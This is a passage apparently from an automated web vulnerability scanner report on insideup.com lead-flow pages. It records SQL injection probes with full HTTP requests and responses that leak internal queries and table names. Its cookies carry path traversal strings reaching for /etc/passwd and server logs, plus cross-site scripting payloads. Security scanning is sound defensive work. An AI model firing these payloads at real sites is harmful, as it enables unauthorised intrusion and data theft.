convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+' at line 5

- /ppc/leadflow/cace00/project.php

/ppc/leadflow/cace00/project.php

http://www.insideup.com/ppc/leadflow/cace00/project.php?catId=80007&iusrc='%2B%20(select+convert(int..

Parameters

Parameter	Type	Value
catId	GET	80007
iusrc	GET	'+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'

Request

GET /ppc/leadflow/cace00/project.php?catId=80007&iusrc='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B' HTTP/1.1
Referer: http://www.insideup.com/selectvendors.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:32:00 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=3bbbi1f23mkeoo56djlte5l3t0; path=/
Content-Length: 4143
Connection: close
Content-Type: text/html; charset=UTF-8

select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/cace00/project.php?catId=80007&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/cace00/project.php?catId=80007&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/cace00/project.php?catId=80007&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/cace00/project.php?catId=80007&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/cace00/project.php?catId=80007&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/cace00/project.php?catId=80007&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/cace00/project.php?catId=80007&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/cace00/project.php?catId=80007&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/cace00/project.php?catId=80007&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/cace00/project.php?catId=80007&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+' at line 5

- /ppc/leadflow/incn00/project.php

/ppc/leadflow/incn00/project.php

http://www.insideup.com/ppc/leadflow/incn00/project.php?catId='%2B%20convert(int,(CHAR(95)%2BCHAR(33..

Parameters

Parameter	Type	Value
catId	GET	'+ convert(int,(CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97))) +'
iusrc	GET	iupsc

Request

GET /ppc/leadflow/incn00/project.php?catId='%2B%20convert(int,(CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97)))%20%2B'&iusrc=iupsc HTTP/1.1
Referer: http://www.insideup.com/selectvendors.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
Cookie: OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:32:02 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=qcttka2crouqvm8lqfcj6fn9o7; path=/
Content-Length: 3913
Connection: close
Content-Type: text/html; charset=UTF-8

select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/incn00/project.php?catId='+ convert(int,(CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97))) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/incn00/project.php?catId='+ convert(int,(CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97))) +'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/incn00/project.php?catId='+ convert(int,(CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97))) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/incn00/project.php?catId='+ convert(int,(CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97))) +'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/incn00/project.php?catId='+ convert(int,(CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97))) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/incn00/project.php?catId='+ convert(int,(CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97))) +'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/incn00/project.php?catId='+ convert(int,(CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97))) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/incn00/project.php?catId='+ convert(int,(CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97))) +'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/incn00/project.php?catId='+ convert(int,(CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97))) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/incn00/project.php?catId='+ convert(int,(CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97))) +'&iusrc=iupsc/'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,(CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)' at line 5

- /ppc/leadflow/fist00/project.php

/ppc/leadflow/fist00/project.php

http://www.insideup.com/ppc/leadflow/fist00/project.php?catId=10003&iusrc='%7C%7Ccast((select%20chr(..

Parameters

Parameter	Type	Value
catId	GET	10003
iusrc	GET	'\|\|cast((select chr(95)\|\|chr(33)\|\|chr(64)\|\|chr(53)\|\|chr(100)\|\|chr(105)\|\|chr(108)\|\|chr(101)\|\|chr(109)\|\|chr(109)\|\|chr(97)) as numeric)\|\|'

Request

GET /ppc/leadflow/fist00/project.php?catId=10003&iusrc='%7C%7Ccast((select%20chr(95)%7C%7Cchr(33)%7C%7Cchr(64)%7C%7Cchr(53)%7C%7Cchr(100)%7C%7Cchr(105)%7C%7Cchr(108)%7C%7Cchr(101)%7C%7Cchr(109)%7C%7Cchr(109)%7C%7Cchr(97))%20as%20numeric)%7C%7C' HTTP/1.1
Referer: http://www.insideup.com/selectvendors.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
Cookie: OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:32:29 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=kamplcfjfl53r422q4kc5hb4k0; path=/
Content-Length: 4013
Connection: close
Content-Type: text/html; charset=UTF-8

select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/fist00/project.php?catId=10003&iusrc='||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'' OR prj.project_page_url = 'leadflow/fist00/project.php?catId=10003&iusrc='||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/fist00/project.php?catId=10003&iusrc='||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'' OR prj.project_page_url = 'leadflow/fist00/project.php?catId=10003&iusrc='||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/fist00/project.php?catId=10003&iusrc='||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'' OR prj.project_page_url = 'leadflow/fist00/project.php?catId=10003&iusrc='||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/fist00/project.php?catId=10003&iusrc='||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'' OR prj.project_page_url = 'leadflow/fist00/project.php?catId=10003&iusrc='||cast((select 